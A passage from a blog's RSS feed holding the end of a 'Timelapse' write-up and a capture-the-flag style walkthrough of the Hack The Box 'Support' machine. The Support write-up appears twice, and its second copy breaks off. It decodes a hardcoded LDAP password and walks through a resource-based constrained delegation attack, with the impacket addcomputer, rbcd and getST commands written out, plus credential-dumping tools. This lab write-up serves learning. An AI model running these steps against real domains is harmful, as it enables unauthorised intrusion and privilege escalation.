<p>With local <code>Administrator</code> access, I dump the SAM hashes and grab the flag from the <code>TRX</code> user. I&#39;m guessing the designer put the flag in the <code>TRX</code> user&#39;s drive because they are a domain admin. You can grab is as the local <code>Administrator</code> or by logging in as <code>TRX</code>, but the <code>TRX</code> user is more powerful than the local <code>Administrator</code> due to having <code>Domain Admins</code> membership.</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p>I didn&#39;t learn a whole lot on this box, but I did get a better understanding of .PFX files, and shadow credential attacks. Any box, no matter how easy, will refine your process.</p>

<p>Thanks for reading!</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/timelapse</guid>
      <pubDate>Sun, 25 Jan 2026 17:37:43 +0000</pubDate>
    </item>
    <item>
      <title>Support</title>
      <link>https://blog.jjnetops.net/support</link>
      <description>&lt;![CDATA[Support is an easy difficulty Windows box. The box is focused on Active Directory (AD) Discretionary Access Control List (DACL) abuse into a Resource-Based Constrained Delegation (RBCD) attack. Initial access can be gotten by decompiling company-specific software and enumerating LDAP.&#xA;!--more--&#xA;This box, despite being listed as easy, was difficult for me because it involved a lot of things I did not have experience with. I have never decompiled a program before, and I have never manually enumerated LDAP, instead always relying on information being pulled by other tools. Despite the difficulty and many hours reading and struggling with things I didn&#39;t have a clue about, it was a great learning opportunity and really helps me get a better understanding of how things work in an AD environment. I look forward to doing more decompiling, reverse engineering seems like such a cool skillset and I have not even begun to try to learn it until now.&#xA;&#xA;At the end of this write up, I have some additional information regarding DACL enumeration using different tools that have different levels of discoverability. I hope to do more of these, where its a &#34;deeper&#34; dive into how to accomplish a task in different ways, what it may look like from a different perspective, or even a focus on how to avoid these specific vulnerabilities.&#xA;&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;Initial Enumeration&#xA;    Encoded Password Explanation&#xA;    Active Directory Enumeration&#xA;Lateral Movement&#xA;Privilege Escalation&#xA;Lessons Learned&#xA;Extended DALC&#xA;    BloodHound&#xA;    PowerView&#xA;    dsacls&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;BloodHound - An application that ingests collector data to provide a view of the relationships between different AD users and accounts.&#xA;enum4linux-ng - A tool for enumerating Windows computers through LDAP and RPC queries.&#xA;evil-winrm - A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent.&#xA;impacket - A collection of tools, although I specifically used addcomputer, rbcd, getST, and psexec, which allows you to maliciously interact with a Windows system.&#xA;smbclient - Part of the samba suite, allows communication with the SMB protocol on Windows.&#xA;ILSpyCmd - A decompiler for .NET projects.&#xA;ldapsearch - A tool developed by the team that developed LDAPv3 at the Internet Engineering Task Force (IETF).&#xA;BloodHound.py - A collector for BloodHound that is written in Python and can be run remotely. It is worth noting that this collector cannot enumerate GPO local groups.&#xA;PowerView - Part of the PowerTools collection, can be used to enumerate DACL on a Windows machine.&#xA;dsacls) - a builtin command line tool for Windows computers for querying and modifying DACL lists.&#xA;SharpHound - A collector for BloodHound that is mean to be executed on the system locally, this provides more information than remote collectors.&#xA;LaZagne - A password scraper that is run locally. This program works on both Linux and Windows systems.&#xA;&#xA;nmap scan&#xA;&#xA;The nmap scan has the usual ports open for a Windows AD box: Kerberos, MSRPC, LDAP, etc. I see the hostname of the box is DC.sequel.htb, so based on the naming convention its a good guess that this is a domain controller. The one unusual port that is on and listening is TCP port 1433 with Microsoft SQL Server 2019. I could have poked and prodded this SQL server a bit to see if maybe guest accounts were enabled, and in the future I likely will, but instead I went directly to mapping SMB shares using smbclient with the provided credentials and using enum4linux to enumerate the domain a bit.&#xA;&#xA;Initial Enumeration&#xA;&#xA;I begin by scanning the SMB shares to see what is available. There is a non-default SMB share named &#34;support-tools&#34; that contains a few tools. I can authenticate as a guest user to get access to the &#34;support-tools&#34; share drive. The share contains some common tools as zip files or just binaries, I recognize most of the tools besides UserInfo.exe.  The npp file doesn&#39;t seem to contain anything worthwhile, the UserInfo.exe.zip contains a config file that has a publicKeyToken in addition to .DLL files and the binary, but I&#39;m not sure what to do with that currently.&#xA;&#xA;Since the guest account is enabled, I use impacket-lookupsid to get the users on the domain. I see that thy domain contains users in the format lastname.firstname, and some services accounts that will likely have elevated privileges, so they immediately become targets.&#xA;&#xA;I get stuck at this point, I begin attempting to bruteforce passwords while I&#39;m looking at what I&#39;m supposed to do with these SMB files. Its clear that the UserInfo.exe is involved, but I don&#39;t know enough about these types of files to know how to deal with them. I googled UserInfo.exe to see if that was just a tool I hadn&#39;t heard of, and the first result is a written guide for this box, so its immediately clear this is somehow involves in the process.&#xA;&#xA;I start the &#34;Guided&#34; mode for the box, a helpful means of progressing on a box without giving you the answer outright, and it poses the following questions:&#xA;&#xA;&#34;Almost all of the files in this share a publicly available tools, but one is not. What is the name of that file?&#34;. The question is mentioning the UserInfo.exe file, since that is the only once I had not heard of, but still stumped I read the next question, which is: &#34;What is the hardcoded password used for LDAP in the UserInfo.exe binary?&#34;. That was a pretty straightforward question, but I have no idea how to get that information. I have no experience decompiling anything, so I was very much out of my depth.&#xA;&#xA;I check the further hint on the question, and it states that because it is a .NET binary, we can use DNSPy or ILSpy to return what is effectively source code. We can also run the binary and capture the authentication on Wireshark.&#xA;&#xA;In a real PenTest, my first instinct would not be to run a file they have, so I proceed with downloading ILSpycmd, a commandline Linux frontend for ILSpy, and feed the UserInfo.exe to it.&#xA;&#xA;The decompiling seems to be very close, if not exactly like the source. I see a few things here in the C# code that are interesting. I see hardcodeded password, but it gets processed through a few operations before it can be used so I&#39;ll need to &#34;reverse engineer&#34; this code to be able to get the password. The term &#34;reverse engineering&#34; is doing a lot of work here, but we do need to understand what is happening to the password in order to get the plaintext version of it for use.&#xA;&#xA;In an effort to better understand things, I broke this down as much as I could so that I could understand and will I&#39;ll record it here in case this helps anyone.&#xA;&#xA;Encoded Password Explanation&#xA;&#xA;First we get the encpassword string: 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E, and a key: armando. The getPassword() function converts the encpassword FROM base64 to an array of bytes that look like this:&#xA;&#xA;b&#39;\xd0\xdb\xf7\xd8\xf4\xf0\x81\x88\xf3\x83\xdf\xfc\x8f\x94\xdb\x9a\xf3\xdd\xdd\xee\xd6\x86\xd5\x96\xca\xe3\xec\xc8\xee\xfa\xfd\x8f\x94\xd7\xdd\xc4&#39;&#xA;&#xA;This array of bytes is shown in hex but can also be translated to decimal numbers. If you don&#39;t know hex (I certainly don&#39;t, yet!) you can use the &#34;programming&#34; mode of your calculator and see what they translate to in decimal. For example, xd0 is hex for the number 208. To help me learn, I&#39;m writing a Python script to print the unencoded string.&#xA;&#xA;If we converted these bytes to UTF-8 characters now, they would look like this:&#xA;&#xA;We see in addition to the base64 decoding, we have a series of operations that are happening. I&#39;m going to go through in order of operation, but its important to realize this is in a for loop, with an index starting from 0 and counting up until the length of the byte array (so for each byte).&#xA;&#xA;key[i % key.Length]&#xA;This uses the modulo operator % to cycle through the key, which we already saw was armando. At index 0 this would be a, then after index 6 (o), index 7 would loop  back around to a.&#xA;&#xA;array[i] ^ key[i % key.Length]&#xA;This takes the byte from the array at position i (our loop index), and XORs it by the numeric value of the character from the key. XOR is a term for &#34;exclusive or&#34;, which takes the bits of the byte in the array, and the letter from the key, and returns a 1 if they are different bits, or 0 if they are the same bit.&#xA;&#xA;For index 0 of the loop, this is exactly what would happen:&#xA;&#xA;The byte array, the decoded base64 string, has the first character with a hex value of 0xd0 which in binary is 1101 0000.&#xA;&#xA;The key&#39;s index 0 is a, which as hex is 0x61, which in binary is 0110 0001.&#xA;&#xA;The XOR compares the two in binary, and returns 1 if the bits are different, or 0 if they are the same. So the result would look like this:&#xA;&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&#x9;&#x9; 1 1 0 1 0 0 0 0&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&#x9;&#x9; 0 1 1 0 0 0 0 1&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&#x9;&#x9; _______&#xA;&#x9;&#x9;&#x9;&#x9;&#x9;&#x9;&#x9; 1 0 1 1 0 0 0 1&#xA;&#xA;This new results of the XOR is0xb1 in hex.&#xA;&#xA;key[i % key.Length]) ^ 0xDFu);&#xA;After this, it once against XORs that new byte against the hex character 0xDF. Finally, the result of that is loaded into a new array, array2 which is encoded and passed back as a string. This whole process gives us a the password string of nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.&#xA;&#xA;We see in the class below this, that the account associated with this password is ldap, once of the service accounts we enumerated earlier. This account was hardcoded into the executable to query LDAP based on provided strings.&#xA;&#xA;Active Directory Enumeration&#xA;&#xA;Now that I have an account that can authenticate to the domain, I run a few checks as the ldap user:&#xA;&#xA;    I check for any addition SMB drive access with this account, but there is nothing of value in the other shares I can read now (SYSVOL, IPT$).&#xA;    I run enum4linux-ng again as the ldap user and get a lot of good information like the password policy, printers available, etc. Knowing the password policy lets me know how viable attempting to bruteforce the credentials is.&#xA;    I run bloodhound-ce-python and ingest the results into bloodhound. I don&#39;t see any immediately obvious lateral movement paths. I do notice that support is a privileged account that has remote access capability, this account becomes my primary target for lateral movement.&#xA;    In an effort to diversify my tool usage, I use ldapsearch to verify the information I&#39;m seeing collected by the bloodcound-ce-python collector. I use a great guide here, written by Pim Beune. I verify the information I see in bloodhound using LDAP search, including the groups support is part of with the following command:&#xA;&#xA;ldapsearch -x -H ldap://10.129.230.181 -D &#39;support\ldap&#39; -w $password -b &#39;CN=support,CN=Users,DC=support,DC=htb&#39; -s base primaryGroupID memberOf&#xA;&#xA;Lateral Movement&#xA;&#xA;I&#39;m not finding any vulnerabilities with SMB, and I do not see any other paths in or drives to access. LDAP is the only thing I can really enumerate now, so I begin trying to enumerate the accounts looking for other information. I dump all of the LDAP fields for all objects classified as person with the following command:&#xA;&#xA;ldapsearch -x -H ldap://10.129.230.181 -D &#39;support\ldap&#39; -w $password -b &#39;DC=support,DC=htb&#39; &#34;(objectClass=person)&#34; &#34;*&#34;&#xA;&#xA;The support account has an info field that was not enumerated by the bloodhound-ce-python collector with the contents Ironside47pleasure40Watchful. Without much other information, I assume this is a password and spray it, which shows up as the password to the support account and no others.&#xA;&#xA;I dig around for a bit in the computer and upon running PowerUp.ps1&#39;s Invoke-AllChecks, it shows a DLL that is in a writable directory. I could hypothetically hijack this DLL and have it execute malicious code when its loaded. It even gives us a command that I can run directly.&#xA;&#xA;Unfortunately, this DLL cannot be loaded. My understanding is, this DLL is part of the Network Load Balancing feature. I am not able to install that feature as this support user, so I have no way of getting the DLL loaded to actually execute the malicious code.&#xA;&#xA;I keep digging again, running LaZagne.exe, winPEAS.ps1, and a few other tools to help identify vulnerabilities. I run SharpHound after several hours of being stuck, with it being more comprehensive than the bloodhound-ce-python collector due being run directly on the machine.&#xA;&#xA;I load the new data into BloodHound and dig through the info and find an ACL that gives us a privilege escalation path: support is a member of the Shared Support Accounts group, which gives the account GenericAll over DC.support.htb, the computer object.&#xA;&#xA;Normally, if we had GenericAll over a user account we could do a shadow credential attack; however, since we have the permission over a computer object, we will use a resource-based constrained delegation attack. All of this information on how to perform the attack is listed in BloodHound, with examples.&#xA;&#xA;Privilege Escalation&#xA;&#xA;The crux of this attack is, by having GenericAll, we can set the msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer to a computer account we control (I&#39;ll get into that in a second). Next, we have the computer account we control request a S4U2Self extension to itself as Administrator, then finally request a S4U2Proxy extension to the target computer, retraining the Administrator username in the extension. This gives us a Ticket Granting Service (TGS) ticket that we can use to authenticate as Administrator on the target machine. Here&#39;s a full breakdown of how it occurred:&#xA;&#xA;The first step of this attack is to create a computer account. Normally, regular users are allowed to create computer accounts by default, so this is not out of the ordinary. We specifically need a computer account and not a user account because user accounts do not normally contain Service Principal Names (SPNs) that are needed for Kerberos to assign the S4U2Self/S4U2Proxy extensions. I use impacket&#39;s addcomputer script to create a new computer account with the following command:&#xA;&#xA;impacket-addcomputer -method LDAPS -computer-name &#39;ATTACKERSYSTEM$&#39; -computer-pass &#39;Summer2018!&#39; -dc-host 10.129.230.181 -domain-netbios support.htb -support.htb/support:password&#39;&#xA;&#xA;I now add the newly created computer account in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Setting this attribute allows the attacker computer to request the S4U2Proxy extension from Kerberos. To do this I use impacket&#39;s rbcd program with the following command:&#xA;&#xA;impacket-rbcd support.htb/support:password -delegate-from &#39;ATTACKERSYSTEM$&#39; -delegate-to &#39;dc$&#39; -action &#39;write&#39;&#xA;&#xA;Finally, we can request the request the S4U2Self and S4U2Proxy extensions with a single script. This will make a request to Kerberos for ATTACKERSYSTEM$ to get a S4U2Self extension as Administrator on itself, then it will request a S4U2Proxy extension on the target system as Administrator. Kerberos checks the msDS-AllowedToActOnBehalfOfOtherIdentity attribute and if the ATTACKERSYSTEM$ is there, which we did in step 2, it grants the TGS. impacket once again has a script for this, getST:&#xA;&#xA;impacket-getST support.htb/ATTACKERSYSTEM$:Summer2018! -spn &#39;cifs/dc.support.htb&#39; -impersonate -Administrator&#xA;&#xA;I think its interesting to note here, the targeted SPN is for CIFS, Common Internet File System, which is the protocol Windows uses for file and printer sharing over a network (basically SMB). Why this leads to remote code execution is interesting: By requesting CIFS, it gives us access to the ADMIN$ share drive and it gives us access to named pipes. Impacket-PsExec copies a small executable psexecsvc.exe, to the computer then connects to the Service Control Manager (SCM) which gives RPC over SMB using named pipes. PsExec tells the SCM to create a service for psexecsvc.exe as SYSTEM, start it, and redirect all input and output to the named pipes created by psexecsbc.exe. This gives remote code execution over the machine while only having CIFS access. Very cool, also terrifying.&#xA;&#xA;The ticket can be used for Kerberos authentication, then we can use impacket-psexec and authenticate using our Kerberos ticket to get remote access as SYSTEM.&#xA;&#xA;Lessons Learned&#xA;&#xA;I learned a ton from this box, I was really feel confident after doing a lot of HTB Academy modules and this box put me in my place. It shows me that I need to have a hard focus on understanding what tools provide what information, and what information actually exists. My focus will continue to be on using various tool and methods to accomplish tasks. I need to focus more on being stealthy, most of the programs I&#39;m transferring to the host have no changes done at all and would be picked up by a modern antivirus instantly. I also want to focus on understanding what types of enumerations get detected by IDS/IPS systems. I&#39;ll be setting up a lab that will have an IDS system and running traffic through there to see what kinds of things get detected across the network. Lastly, I am not much of a coder, but understanding software even at a basic level would have gotten me further without having to look up the guided mode. I want to write more scripts and do more reverse engineer.&#xA;&#xA;Extended DACL&#xA;&#xA;My goal with this section for me is to find &#34;the smoking gun&#34; in the DACL list for three separate tools: BloodHound, PowerView, and dsacls. When I say &#34;smoking gun&#34;, I mean a line of output that tells me this is the path to privilege escalation. I hope to do more of these as I do more writeups.&#xA;&#xA;BloodHound&#xA;&#xA;For BloodHound, its very simple. BloodHound collects so much data and organizes it in such a way that it is easy to immediately recognize the opportunity. Not only is it easy to recognize, the program tells you exactly how to abuse it. The sidebar of the program even tells you that you can abuse this to conduct a Resource-Based Constrained Delegation attack. This is our &#34;smoking gun&#34; for BloodHound and it is very simple.&#xA;&#xA;In the screenshot below, we can see support is a user we have &#34;owned&#34;, so we have full control over. support is a member of Shared Support Accounts, which has GenericAll over the DC.support.htb computer object. This means that support inherits those permissions from the group and has GenericAll over the object.&#xA;&#xA;PowerView&#xA;&#xA;PowerView is a PowerShell tool that is power of PowerSploit that focuses on penetration testing. For what we&#39;re doing here, we&#39;re using the Get-ObjectAcl cmdlet to enumerate DACL on an object.&#xA;&#xA;The information is a bit harder to parse because we&#39;re collecting significantly less of it and its not really organized in a specific way unless we use a lot of the filters available. We can identify the &#34;smoking gun&#34; in this case by seeing that GenericAll is granted to a ObjectSID that matches the SID of our Shared Support Accounts group.&#xA;&#xA;The command used to generate this output was:&#xA;&#xA;Get-ObjectAcl -Identity &#34;CN=DC,OU=DOMAIN CONTROLLERS,DC=SUPPORT,DC=HTB&#34; -ResolveGUIDs -RightsFilter &#34;All&#34;&#xA;&#xA;Keep in mind, this section is a part of four that are returned, I thought the -ResolveGUIDs would resolve the SIDs but it doesn&#39;t seem to. I checked the SID of the group Shared Support Accounts, and it matches the SID in the SecurityIdentifier field. The documents for the program can be found here.&#xA;&#xA;dsacls&#xA;&#xA;dsacls is a built-in command line tool for viewing and changing permissions and security attributes of Active Directory objects. To use dsacls, the user must have read permissions on Active Directory objects, and to write the user must have write permissions to the Active Directory objects. The tool is relatively simple to use and is quite powerful, I&#39;ll be attempting to use this as my primary means of enumerating DACL once I&#39;ve gotten access.&#xA;&#xA;The command produces a lot of information and its not as easy to parse because its not an object like PowerView&#39;s, so if you have a lot of data to sift through it will take a long time until you can script it.&#xA;&#xA;The command used to produce the output below is, I&#39;ve marked it as cmd since it will work in cmd as well as PowerShell:&#xA;&#xA;dsacls.exe &#34;CN=DC,OU=Domain Controllers,DC=SUPPORT,DC=HTB&#34;&#xA;&#xA;Thanks for reading, hope you learned something.]]&gt;</description>
      <content:encoded><![CDATA[<p>Support is an easy difficulty Windows box. The box is focused on Active Directory (AD) Discretionary Access Control List (DACL) abuse into a Resource-Based Constrained Delegation (RBCD) attack. Initial access can be gotten by decompiling company-specific software and enumerating LDAP.

This box, despite being listed as easy, was difficult for me because it involved a lot of things I did not have experience with. I have never decompiled a program before, and I have never manually enumerated LDAP, instead always relying on information being pulled by other tools. Despite the difficulty and many hours reading and struggling with things I didn&#39;t have a clue about, it was a great learning opportunity and really helps me get a better understanding of how things work in an AD environment. I look forward to doing more decompiling, reverse engineering seems like such a cool skillset and I have not even begun to try to learn it until now.</p>

<p>At the end of this write up, I have some additional information regarding DACL enumeration using different tools that have different levels of discoverability. I hope to do more of these, where its a “deeper” dive into how to accomplish a task in different ways, what it may look like from a different perspective, or even a focus on how to avoid these specific vulnerabilities.</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#initial-enumeration">Initial Enumeration</a>
<ul><li><a href="#encoded-password-explanation">Encoded Password Explanation</a></li>
<li><a href="#active-directory-enumeration">Active Directory Enumeration</a></li></ul></li>
<li><a href="#lateral-movement">Lateral Movement</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li>
<li><a href="#extended-dacl">Extended DALC</a>
<ul><li><a href="#bloodhound">BloodHound</a></li>
<li><a href="#powerview">PowerView</a></li>
<li><a href="#dsacls">dsacls</a></li></ul></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/SpecterOps/BloodHound">BloodHound</a> – An application that ingests collector data to provide a view of the relationships between different AD users and accounts.
<a href="https://github.com/cddmp/enum4linux-ng">enum4linux-ng</a> – A tool for enumerating Windows computers through LDAP and RPC queries.
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> – A shell to interact with the WinRM protocol originally, but now works with PSRP, the <code>PowerShell</code> equivalent.
<a href="https://github.com/fortra/impacket">impacket</a> – A collection of tools, although I specifically used <code>addcomputer</code>, <code>rbcd</code>, <code>getST</code>, and <code>psexec</code>, which allows you to maliciously interact with a Windows system.
<a href="https://www.samba.org/samba/docs/current/man-html/smbclient.1.html">smbclient</a> – Part of the samba suite, allows communication with the SMB protocol on Windows.
<a href="https://github.com/icsharpcode/ILSpy/tree/master/ICSharpCode.ILSpyCmd">ILSpyCmd</a> – A decompiler for .NET projects.
<a href="https://docs.ldap.com/ldap-sdk/docs/tool-usages/ldapsearch.html">ldapsearch</a> – A tool developed by the team that developed LDAPv3 at the Internet Engineering Task Force (IETF).
<a href="https://github.com/dirkjanm/BloodHound.py">BloodHound.py</a> – A collector for BloodHound that is written in Python and can be run remotely. It is worth noting that this collector cannot enumerate GPO local groups.
<a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1">PowerView</a> – Part of the PowerTools collection, can be used to enumerate DACL on a Windows machine.
<a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)">dsacls</a> – a builtin command line tool for Windows computers for querying and modifying DACL lists.
<a href="https://github.com/SpecterOps/SharpHound">SharpHound</a> – A collector for BloodHound that is mean to be executed on the system locally, this provides more information than remote collectors.
<a href="https://github.com/AlessandroZ/LaZagne">LaZagne</a> – A password scraper that is run locally. This program works on both Linux and Windows systems.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p>The <code>nmap</code> scan has the usual ports open for a Windows AD box: Kerberos, MSRPC, LDAP, etc. I see the hostname of the box is <code>DC.sequel.htb</code>, so based on the naming convention its a good guess that this is a domain controller. The one unusual port that is on and listening is TCP port 1433 with <code>Microsoft SQL Server 2019</code>. I could have poked and prodded this SQL server a bit to see if maybe guest accounts were enabled, and in the future I likely will, but instead I went directly to mapping SMB shares using <code>smbclient</code> with the provided credentials and using <code>enum4linux</code> to enumerate the domain a bit.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007918/Pasted_image_20260118130428_v9i39d.png" alt=""></p>

<h2 id="initial-enumeration">Initial Enumeration</h2>

<p>I begin by scanning the SMB shares to see what is available. There is a non-default SMB share named “support-tools” that contains a few tools. I can authenticate as a <code>guest</code> user to get access to the “support-tools” share drive. The share contains some common tools as zip files or just binaries, I recognize most of the tools besides <code>UserInfo.exe</code>.  The <code>npp</code> file doesn&#39;t seem to contain anything worthwhile, the <code>UserInfo.exe.zip</code> contains a config file that has a publicKeyToken in addition to .DLL files and the binary, but I&#39;m not sure what to do with that currently.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007918/Pasted_image_20260118132136_kyykmn.png" alt=""></p>

<p>Since the <code>guest</code> account is enabled, I use <code>impacket-lookupsid</code> to get the users on the domain. I see that thy domain contains users in the format <code>lastname.firstname</code>, and some services accounts that will likely have elevated privileges, so they immediately become targets.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007901/Pasted_image_20260118133314_tyknd6.png" alt=""></p>

<p>I get stuck at this point, I begin attempting to bruteforce passwords while I&#39;m looking at what I&#39;m supposed to do with these SMB files. Its clear that the <code>UserInfo.exe</code> is involved, but I don&#39;t know enough about these types of files to know how to deal with them. I googled <code>UserInfo.exe</code> to see if that was just a tool I hadn&#39;t heard of, and the first result is a written guide for this box, so its immediately clear this is somehow involves in the process.</p>

<p>I start the “Guided” mode for the box, a helpful means of progressing on a box without giving you the answer outright, and it poses the following questions:</p>

<p><code>&#34;Almost all of the files in this share a publicly available tools, but one is not. What is the name of that file?&#34;</code>. The question is mentioning the <code>UserInfo.exe</code> file, since that is the only once I had not heard of, but still stumped I read the next question, which is: <code>&#34;What is the hardcoded password used for LDAP in the UserInfo.exe binary?&#34;</code>. That was a pretty straightforward question, but I have no idea how to get that information. I have no experience decompiling anything, so I was very much out of my depth.</p>

<p>I check the further hint on the question, and it states that because it is a .NET binary, we can use <code>DNSPy</code> or <code>ILSpy</code> to return what is effectively source code. We can also run the binary and capture the authentication on Wireshark.</p>

<p>In a real PenTest, my first instinct would not be to run a file they have, so I proceed with downloading <code>ILSpycmd</code>, a commandline Linux frontend for <code>ILSpy</code>, and feed the <code>UserInfo.exe</code> to it.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007901/Pasted_image_20260119094444_sgnq2e.png" alt=""></p>

<p>The decompiling seems to be very close, if not exactly like the source. I see a few things here in the C# code that are interesting. I see hardcodeded password, but it gets processed through a few operations before it can be used so I&#39;ll need to “reverse engineer” this code to be able to get the password. The term “reverse engineering” is doing a lot of work here, but we do need to understand what is happening to the password in order to get the plaintext version of it for use.</p>

<p>In an effort to better understand things, I broke this down as much as I could so that I could understand and will I&#39;ll record it here in case this helps anyone.</p>

<h3 id="encoded-password-explanation">Encoded Password Explanation</h3>

<p>First we get the <code>enc_password</code> string: <code>0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E</code>, and a key: <code>armando</code>. The <code>getPassword()</code> function converts the <code>enc_password</code> <strong>FROM</strong> base64 to an array of bytes that look like this:</p>

<pre><code>b&#39;\xd0\xdb\xf7\xd8\xf4\xf0\x81\x88\xf3\x83\xdf\xfc\x8f\x94\xdb\x9a\xf3\xdd\xdd\xee\xd6\x86\xd5\x96\xca\xe3\xec\xc8\xee\xfa\xfd\x8f\x94\xd7\xdd\xc4&#39;
</code></pre>

<p>This array of bytes is shown in hex but can also be translated to decimal numbers. If you don&#39;t know hex (I certainly don&#39;t, yet!) you can use the “programming” mode of your calculator and see what they translate to in decimal. For example, <code>xd0</code> is hex for the number <code>208</code>. To help me learn, I&#39;m writing a Python script to print the unencoded string.</p>

<p>If we converted these bytes to UTF-8 characters now, they would look like this:</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007901/Pasted_image_20260119100654_v6bgmj.png" alt=""></p>

<p>We see in addition to the base64 decoding, we have a series of operations that are happening. I&#39;m going to go through in order of operation, but its important to realize this is in a <code>for</code> loop, with an index starting from 0 and counting up until the length of the byte array (so for each byte).</p>

<p><code>key[i % key.Length]</code>
This uses the modulo operator <code>%</code> to cycle through the key, which we already saw was <code>armando</code>. At index 0 this would be <code>a</code>, then after index <code>6</code> (<code>o</code>), index <code>7</code> would loop  back around to <code>a</code>.</p>

<p><code>array[i] ^ key[i % key.Length]</code>
This takes the byte from the array at position <code>i</code> (our loop index), and XORs it by the numeric value of the character from the key. XOR is a term for “exclusive or”, which takes the bits of the byte in the array, and the letter from the key, and returns a 1 if they are <strong>different</strong> bits, or 0 if they are the <strong>same</strong> bit.</p>

<p>For index 0 of the loop, this is exactly what would happen:</p>

<p>The byte array, the decoded base64 string, has the first character with a hex value of <code>0xd0</code> which in binary is <code>1101 0000</code>.</p>

<p>The key&#39;s index 0 is <code>a</code>, which as hex is <code>0x61</code>, which in binary is <code>0110 0001</code>.</p>

<p>The XOR compares the two in binary, and returns 1 if the bits are different, or 0 if they are the same. So the result would look like this:</p>

<p>                             1 1 0 1 0 0 0 0
                             0 1 1 0 0 0 0 1
                             _________
                             1 0 1 1 0 0 0 1</p>

<p>This new results of the XOR is<code>0xb1</code> in hex.</p>

<p><code>key[i % key.Length]) ^ 0xDFu);</code>
After this, it once against XORs that new byte against the hex character <code>0xDF</code>. Finally, the result of that is loaded into a new array, <code>array2</code> which is encoded and passed back as a string. This whole process gives us a the password string of <code>nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz</code>.</p>

<p>We see in the class below this, that the account associated with this password is <code>ldap</code>, once of the service accounts we enumerated earlier. This account was hardcoded into the executable to query LDAP based on provided strings.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007902/Pasted_image_20260119104839_o9iomk.png" alt=""></p>

<h3 id="active-directory-enumeration">Active Directory Enumeration</h3>

<p>Now that I have an account that can authenticate to the domain, I run a few checks as the <code>ldap</code> user:</p>

<p>    – I check for any addition SMB drive access with this account, but there is nothing of value in the other shares I can read now (<code>SYSVOL</code>, <code>IPT$</code>).
    – I run <code>enum4linux-ng</code> again as the <code>ldap</code> user and get a lot of good information like the password policy, printers available, etc. Knowing the password policy lets me know how viable attempting to bruteforce the credentials is.
    – I run <code>bloodhound-ce-python</code> and ingest the results into <code>bloodhound</code>. I don&#39;t see any immediately obvious lateral movement paths. I do notice that <code>support</code> is a privileged account that has remote access capability, this account becomes my primary target for lateral movement.
    – In an effort to diversify my tool usage, I use <code>ldapsearch</code> to verify the information I&#39;m seeing collected by the <code>bloodcound-ce-python</code> collector. I use a great guide <img src="https://beune.dev/posts/ldap-enum/" alt="here">, written by Pim Beune. I verify the information I see in <code>bloodhound</code> using LDAP search, including the groups <code>support</code> is part of with the following command:</p>

<pre><code class="language-shell">ldapsearch -x -H ldap://10.129.230.181 -D &#39;support\ldap&#39; -w $password -b &#39;CN=support,CN=Users,DC=support,DC=htb&#39; -s base primaryGroupID memberOf
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007902/Pasted_image_20260120052216_wxzqw0.png" alt=""></p>

<h2 id="lateral-movement">Lateral Movement</h2>

<p>I&#39;m not finding any vulnerabilities with SMB, and I do not see any other paths in or drives to access. LDAP is the only thing I can really enumerate now, so I begin trying to enumerate the accounts looking for other information. I dump all of the LDAP fields for all objects classified as person with the following command:</p>

<pre><code class="language-shell">ldapsearch -x -H ldap://10.129.230.181 -D &#39;support\ldap&#39; -w $password -b &#39;DC=support,DC=htb&#39; &#34;(objectClass=person)&#34; &#34;*&#34;
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007905/Pasted_image_20260120071126_xzt4jp.png" alt=""></p>

<p>The <code>support</code> account has an <code>info</code> field that was not enumerated by the <code>bloodhound-ce-python</code> collector with the contents <code>Ironside47pleasure40Watchful</code>. Without much other information, I assume this is a password and spray it, which shows up as the password to the <code>support</code> account and no others.</p>

<p>I dig around for a bit in the computer and upon running <code>PowerUp.ps1</code>&#39;s <code>Invoke-AllChecks</code>, it shows a DLL that is in a writable directory. I could hypothetically hijack this DLL and have it execute malicious code when its loaded. It even gives us a command that I can run directly.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007905/Pasted_image_20260120144337_y5sh3b.png" alt=""></p>

<p>Unfortunately, this DLL cannot be loaded. My understanding is, this DLL is part of the Network Load Balancing feature. I am not able to install that feature as this <code>support</code> user, so I have no way of getting the DLL loaded to actually execute the malicious code.</p>

<p>I keep digging again, running <code>LaZagne.exe</code>, <code>winPEAS.ps1</code>, and a few other tools to help identify vulnerabilities. I run <code>SharpHound</code> after several hours of being stuck, with it being more comprehensive than the <code>bloodhound-ce-python</code> collector due being run directly on the machine.</p>

